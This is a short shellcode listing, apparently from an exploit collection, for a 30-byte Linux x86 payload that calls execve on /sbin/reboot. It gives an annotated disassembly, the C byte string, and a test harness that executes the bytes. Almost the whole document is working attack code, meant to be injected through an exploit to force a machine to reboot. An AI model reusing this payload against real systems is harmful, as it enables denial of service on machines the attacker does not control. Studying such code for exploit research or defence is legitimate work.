30 bytes small linux/x86 PUSH reboot() shellcode.
127695a41b3ba3cfc37f0483973906081e001585bd8dcd0d9c091a3a9b883ee2
/* Linux x86 PUSH reboot() - 30 bytes
* Jonathan Salwan <js.rac.projet[*AT]gmail.com>
* Web: http://racprojet.zapto.org
*
* Disassembly of section .text:
*
* 08048054 <.text>:
* 8048054: 31 c0 xor %eax,%eax
* 8048056: 50 push %eax
* 8048057: 68 62 6f 6f 74 push $0x746f6f62
* 804805c: 68 6e 2f 72 65 push $0x65722f6e
* 8048061: 68 2f 73 62 69 push $0x6962732f
* 8048066: 89 e3 mov %esp,%ebx
* 8048068: 50 push %eax
* 8048069: 89 e2 mov %esp,%edx
* 804806b: 53 push %ebx
* 804806c: 89 e1 mov %esp,%ecx
* 804806e: b0 0b mov $0xb,%al
* 8048070: cd 80 int $0x80
*
*/
main()
{
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x62\x6f\x6f\x74"
"\x68\x6e\x2f\x72\x65"
"\x68\x2f\x73\x62\x69"
"\x89\xe3"
"\x50"
"\x89\xe2"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}